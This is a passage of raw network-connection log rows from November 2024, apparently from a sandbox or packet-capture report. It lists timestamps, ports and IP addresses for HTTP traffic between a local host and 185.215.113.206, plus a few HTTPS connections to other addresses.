Nov 12, 2024 08:30:39.461788893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461842060 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461842060 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461909056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461920023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461930990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461941957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461942911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461955070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.461956978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.461975098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462023973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462227106 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462238073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462249041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462259054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462269068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462275028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462313890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462313890 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462383032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462393999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462404013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462447882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462447882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462519884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462532043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462539911 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462549925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462587118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462599039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462599039 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462599039 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462610960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462626934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462629080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462654114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462654114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.462707996 CET	443	57087	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.462955952 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462968111 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462977886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462991953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.462997913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463134050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463145018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463156939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463167906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463197947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463197947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463282108 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463306904 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463325024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463335991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463346004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463359118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463359118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463407993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463450909 CET	443	57087	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.463459969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463509083 CET	57087	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.463524103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463542938 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463555098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463563919 CET	57087	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.463566065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463577986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463587999 CET	443	57087	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.463587999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463597059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463597059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463598967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463610888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463617086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463622093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463635921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463656902 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463656902 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463781118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.463952065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463962078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463967085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463977098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.463993073 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464001894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464014053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464024067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464029074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.464029074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.464034081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464045048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464055061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464066029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464071035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.464071035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.464076996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464087963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464102030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464121103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.464121103 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.464150906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.464498997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464509964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464519978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.464622021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.464958906 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.465084076 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.465527058 CET	57088	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.465564013 CET	57088	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.465564013 CET	57088	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.465580940 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.465593100 CET	443	57088	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.466917038 CET	57098	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.466952085 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.467127085 CET	57098	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.467267990 CET	57098	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.467274904 CET	443	57098	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.467575073 CET	57099	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.467617989 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.467842102 CET	57099	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.467968941 CET	57099	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.467984915 CET	443	57099	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.505897999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.505911112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.505923033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.505933046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.505965948 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.506026030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.577991962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578033924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578069925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578073025 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578115940 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578149080 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578480005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578496933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578512907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578532934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578547001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578552961 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578653097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578660965 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578665018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578706026 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578718901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578728914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578758001 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578799009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578802109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578814030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578819990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.578900099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.578959942 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579159975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579209089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579220057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579236031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579282045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579344034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579355001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579368114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579438925 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579580069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579591036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579602003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579613924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579622984 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579622984 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579626083 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579638958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579670906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579684019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579862118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579874039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579884052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579905033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579916954 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579922915 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579927921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579940081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.579955101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579955101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.579979897 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.580008030 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581154108 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581172943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581185102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581197023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581209898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581209898 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581223011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581226110 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581234932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581248999 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581262112 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581264973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581274986 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581286907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581299067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581299067 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581300020 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581309080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581315994 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581321001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581332922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581345081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581351995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581355095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581367970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581378937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581382036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581382036 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581391096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581402063 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581410885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581413984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.581442118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.581442118 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582134962 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582145929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582156897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582168102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582180023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582221031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582221031 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582318068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582329988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582341909 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582353115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582362890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582381010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582381010 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582444906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582792997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582804918 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582828045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582839012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582839012 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582849026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582860947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582865953 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582865953 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582875967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582887888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582900047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582901001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.582927942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582927942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.582947016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.623063087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.623085022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.623096943 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.623117924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.623147964 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.623192072 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.623317957 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.684210062 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.684472084 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.684489965 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.685516119 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.685569048 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.686031103 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.686085939 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.686259985 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.686264992 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.686311007 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.686328888 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.695025921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695044041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695054054 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695064068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695096970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.695096970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.695163965 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.695522070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695532084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695538998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695605993 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.695626020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695652008 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695661068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695699930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.695899963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695928097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695938110 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695961952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.695961952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.695976973 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.695990086 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.695998907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696010113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696017981 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696074963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696158886 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696168900 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696178913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696203947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696247101 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696259975 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696300030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696304083 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696388006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696398020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696404934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696408033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696425915 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696485043 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696506023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696516037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696655035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696664095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696669102 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696680069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696691036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696702957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696713924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696713924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696738005 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696772099 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.696923018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696933031 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696943998 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696954012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.696975946 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697000027 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697124958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697134972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697145939 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697159052 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697191000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697191000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697271109 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697280884 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697298050 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697330952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697330952 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697354078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697365046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697375059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697386980 CET	80	49809	185.215.113.206	192.168.2.5
